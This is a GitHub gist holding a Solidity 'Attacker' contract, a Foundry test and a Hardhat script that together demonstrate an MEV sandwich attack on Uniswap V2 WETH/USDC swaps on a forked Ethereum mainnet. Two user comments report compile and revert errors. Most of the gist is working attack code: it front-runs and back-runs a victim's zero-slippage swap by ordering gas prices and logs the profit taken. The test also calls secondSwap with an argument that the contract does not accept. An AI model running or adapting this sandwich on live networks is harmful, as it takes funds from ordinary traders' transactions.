-
-
Save GibranAkbaromiL/05020630475f4f2599f72b47e52c7949 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.9; | |
// Uncomment this line to use console.log | |
// import "hardhat/console.sol"; | |
interface IUniswapV2Router { | |
function swapExactTokensForTokens( | |
uint amountIn, | |
uint amountOutMin, | |
address[] calldata path, | |
address to, | |
uint deadline | |
) external returns (uint[] memory amounts); | |
} | |
interface IERC20 { | |
function balanceOf(address owner)external view returns(uint256); | |
function approve(address spender, uint256 amount)external; | |
} | |
contract Attacker { | |
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); | |
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0 | |
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1 | |
constructor() { | |
USDC.approve(address(Router2), type(uint256).max); | |
WETH.approve(address(Router2), type(uint256).max); | |
} | |
function firstSwap(uint256 amount)external { | |
address[] memory path = new address[](2); | |
//Swap from WETH to USDC | |
path[0] = address(WETH); | |
path[1] = address(USDC); | |
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200); | |
} | |
function secondSwap()external { | |
address[] memory path = new address[](2); | |
//Swap from USDC to WETH | |
path[0] = address(USDC); | |
path[1] = address(WETH); | |
uint256 amount = USDC.balanceOf(address(this)); | |
Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200); | |
} | |
function getUSDCBalance(address user)external view returns(uint256 result) { | |
return USDC.balanceOf(user); | |
} | |
function getWETHBalance(address user)external view returns(uint256 result) { | |
return WETH.balanceOf(user); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "../src/Attacker.sol"; | |
contract Sandwich is Test { | |
Attacker public attacker; | |
address public victim; | |
string RPC_URL = "https://rpc.ankr.com/eth"; | |
uint256 mainnetfork; | |
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); | |
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0 | |
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1 | |
function setUp() public { | |
mainnetfork = vm.createFork(RPC_URL); | |
vm.selectFork(mainnetfork); | |
vm.rollFork(17626926); | |
victim = vm.addr(1); | |
attacker = new Attacker(); | |
deal(address(WETH), victim, 1_000*1e18); // victim initial balance | |
deal(address(WETH), address(attacker), 1_000*1e18); // attacker initial balance | |
} | |
function _frontrun() internal { | |
attacker.firstSwap(WETH.balanceOf(address(attacker))); | |
} | |
function _victim() internal { | |
vm.startPrank(victim); | |
WETH.approve(address(Router2), type(uint256).max); | |
address[] memory path = new address[](2); | |
//Swap from WETH to USDC | |
path[0] = address(WETH); | |
path[1] = address(USDC); | |
Router2.swapExactTokensForTokens(WETH.balanceOf(victim), 0, path, victim, block.timestamp + 4200); // the second parameter set to 0, to make it frontrunnable | |
vm.stopPrank(); | |
} | |
function _backun() internal { | |
attacker.secondSwap(USDC.balanceOf(address(attacker))); | |
} | |
function testSandwich()public { | |
console.log("USDC Balance before (attacker) = ", attacker.getUSDCBalance(address(attacker))); | |
console.log("WETH Balance before (attacker) = ", attacker.getWETHBalance(address(attacker))); | |
console.log("USDC Balance before (victim) = ", attacker.getUSDCBalance(victim)); | |
console.log("WETH Balance before (victim) = ", attacker.getWETHBalance(victim)); | |
_frontrun(); | |
_victim(); | |
_backun(); | |
console.log("USDC Balance after (attacker) = ", attacker.getUSDCBalance(address(attacker))); | |
console.log("WETH Balance after (attacker) = ", attacker.getWETHBalance(address(attacker))); | |
console.log("USDC Balance after (victim) = ", attacker.getUSDCBalance(victim)); | |
console.log("WETH Balance after (victim) = ", attacker.getWETHBalance(victim)); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// We require the Hardhat Runtime Environment explicitly here. This is optional | |
// but useful for running the script in a standalone fashion through `node <script>`. | |
// | |
// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat | |
// will compile your contracts, add the Hardhat Runtime Environment's members to the | |
// global scope, and execute the script. | |
const { network, ethers } = require("hardhat"); | |
const hre = require("hardhat"); | |
async function main() { | |
// Fork the mainnet | |
await hre.network.provider.request({ | |
method: "hardhat_reset", | |
params: [{ | |
forking: { | |
jsonRpcUrl: "https://rpc.ankr.com/eth" | |
,blockNumber: 17626926 | |
} | |
}] | |
}) | |
// Sets important vars to be use to demonstrate an MEV sandwich attack | |
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; | |
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; | |
const Router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"; | |
const [maliciousUser, victim] = await ethers.getSigners(); | |
const amount = 1000000000000000000000; // 1_000 ETH | |
///////////////////////////////////////////////////////////////////////// | |
////// This Section of code responsible for balance manipulation //////// | |
///////////////////////////////////////////////////////////////////////// | |
const toBytes32 = (bn) => { | |
return ethers.hexlify(ethers.zeroPadValue(ethers.toBeHex(BigInt(bn)), 32)); | |
}; | |
const setStorageAt = async (address, index, value) => { | |
await ethers.provider.send("hardhat_setStorageAt", [address, index, value]); | |
}; | |
///////////////////////////////////////////////////////////////////////// | |
// Deploy the code | |
const attacker = await ethers.deployContract("Attacker"); | |
const maliciousContract = await attacker.getAddress(); | |
console.log("Malicious contract:", maliciousContract); | |
//Manipulate Attacker contract balance to 1_000 WETH | |
const AttackerIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [maliciousContract, 3]); // key, slot | |
await setStorageAt( | |
WETH, | |
AttackerIndex, | |
toBytes32(amount).toString() | |
); | |
//Manipulate Victim balance to 1_000 WETH | |
const VictimIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [victim.address, 3]); // key, slot | |
await setStorageAt( | |
WETH, | |
VictimIndex, | |
toBytes32(amount).toString() | |
); | |
/////////////////////////////////////////////////////////////////////////////////////////////////////// | |
////// This Section of code responsible logging victim and attacker malicious contract balnace //////// | |
/////////////////////////////////////////////////////////////////////////////////////////////////////// | |
console.log("attacker contract address = ", ethers.getAddress(maliciousContract)); | |
const attackerUSDCBalanceBefore = await attacker.getUSDCBalance(maliciousContract); | |
const attackerWETHBalanceBefore = await attacker.getWETHBalance(maliciousContract); | |
console.log("USDC Balance Before (attacker) = ", BigInt(attackerUSDCBalanceBefore).toString()); | |
console.log("WETH Balance Before (attacker) = ", BigInt(attackerWETHBalanceBefore).toString()); | |
const victimUSDCBalanceBefore = await attacker.getUSDCBalance(victim.address); | |
const victimWETHBalanceVictim = await attacker.getWETHBalance(victim.address); | |
console.log("USDC Balance Before (victim) = ", BigInt(victimUSDCBalanceBefore).toString()); | |
console.log("WETH Balance Before (victim) = ", BigInt(victimWETHBalanceVictim).toString()); | |
/////////////////////////////////////////////////////////////////////////////////////////////////////// | |
// Victim make an approval transaction, to give approval to router contract | |
const approveFunctionName = "approve"; | |
const IERC20Interface = new ethers.Interface([ | |
"function approve(address spender, uint256 amount) public" | |
]); | |
const approveParams = [ | |
Router, | |
BigInt(amount) | |
] | |
await victim.sendTransaction({ | |
to: WETH, | |
data: IERC20Interface.encodeFunctionData(approveFunctionName, approveParams) | |
}); | |
// set the mining behavior to false, so the transaction will be collected in the mempool, before finalization | |
await network.provider.send("evm_setAutomine", [false]); | |
///////////////////////////////////////////////////////////////////////// | |
//////////// Victim made the transaction to swap their WETH ///////////// | |
///////////////////////////////////////////////////////////////////////// | |
const functionName = "swapExactTokensForTokens"; | |
const block = await ethers.provider.getBlock(17626926); | |
const params = [ | |
BigInt(amount), // amount in | |
BigInt(0), // min amount out | |
[ | |
WETH, // Asset in | |
USDC // Asset out | |
], | |
victim.address, // Receiving address | |
block.timestamp + 7200 // Deadline | |
]; | |
const routerInterface = new ethers.Interface([ | |
"function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) public" | |
]); | |
await victim.sendTransaction({ | |
to: Router, | |
data: routerInterface.encodeFunctionData(functionName, params), | |
gasLimit: 500000, | |
gasPrice: ethers.parseUnits("100", "gwei") | |
}); | |
///////////////////////////////////////////////////////////////////////// | |
// Attacker frontrun the transaction, by inflating gasPrice args | |
await attacker.connect(maliciousUser).firstSwap(BigInt(amount), {gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei")} ); | |
// Attacker backrun the victim transaction, by lowering the gasPrice args | |
await attacker.connect(maliciousUser).secondSwap( {gasLimit: 500000, gasPrice: ethers.parseUnits("99", "gwei")} ); | |
// log the pending transaction that will be included in the next block by using the pending block tag | |
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [ | |
"pending", | |
false, | |
]); | |
console.log("\n Pending Block = " , pendingBlock); | |
// Manually mine the block | |
await ethers.provider.send("evm_mine", []); | |
/////////////////////////////////////////////////////////////////////////////////////////////////////// | |
////// This Section of code responsible logging victim and attacker malicious contract balnace //////// | |
/////////////////////////////////////////////////////////////////////////////////////////////////////// | |
const attackerUSDCBalanceAfter = await attacker.getUSDCBalance(maliciousContract); | |
const attackerWETHBalanceAfter = await attacker.getWETHBalance(maliciousContract); | |
console.log("USDC Balance After (attacker) = ", BigInt(attackerUSDCBalanceAfter).toString()); | |
console.log("WETH Balance After (attacker) = ", BigInt(attackerWETHBalanceAfter).toString()); | |
const victimUSDCBalanceAfter = await attacker.getUSDCBalance(victim.address); | |
const victimWETHBalanceAfter = await attacker.getWETHBalance(victim.address); | |
console.log("USDC Balance After (victim) = ", BigInt(victimUSDCBalanceAfter).toString()); | |
console.log("WETH Balance After (victim) = ", BigInt(victimWETHBalanceAfter).toString()); | |
/////////////////////////////////////////////////////////////////////////////////////////////////////// | |
} | |
// We recommend this pattern to be able to use async/await everywhere | |
// and properly handle errors. | |
main().catch((error) => { | |
console.error(error); | |
process.exitCode = 1; | |
}); |
Mine shows the following error: "Transaction reversed: function call to a non-contract account"
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
In line 42 of the Attacker.sol, parameter 'uint256 amount' should be added & removed line 48 in the version which was revised in Jul 14, then you wont't get compiler error which says "error[6160]: TypeError: Wrong argument count for function call: 1 arguments given but expected 0.
"